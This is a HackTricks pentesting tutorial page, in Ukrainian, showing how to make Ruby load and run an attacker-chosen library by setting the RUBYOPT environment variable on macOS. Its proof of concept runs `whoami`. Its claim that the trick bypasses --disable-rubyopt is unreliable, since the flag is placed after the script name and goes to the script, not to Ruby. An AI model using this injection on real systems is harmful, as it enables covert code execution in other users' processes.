macOS Ruby Applications Injection

Reading time: 2 minutes

tip

Вивчайте та практикуйте AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Підтримайте HackTricks

RUBYOPT

Використовуючи цю змінну середовища, можна додати нові параметри до ruby щоразу, коли він виконується. Хоча параметр -e не може бути використаний для вказівки коду ruby для виконання, можна використовувати параметри -I та -r для додавання нової папки до шляху завантаження бібліотек, а потім вказати бібліотеку для завантаження.

Створіть бібліотеку inject.rb в /tmp:

inject.rb
puts `whoami`

Створіть будь-де скрипт на Ruby, наприклад:

hello.rb
puts 'Hello, World!'

Тоді створіть довільний скрипт ruby, щоб завантажити його за допомогою:

bash
RUBYOPT="-I/tmp -rinject" ruby hello.rb

Цікава деталь, це працює навіть з параметром --disable-rubyopt:

bash
RUBYOPT="-I/tmp -rinject" ruby hello.rb --disable-rubyopt

tip

Вивчайте та практикуйте AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Підтримайте HackTricks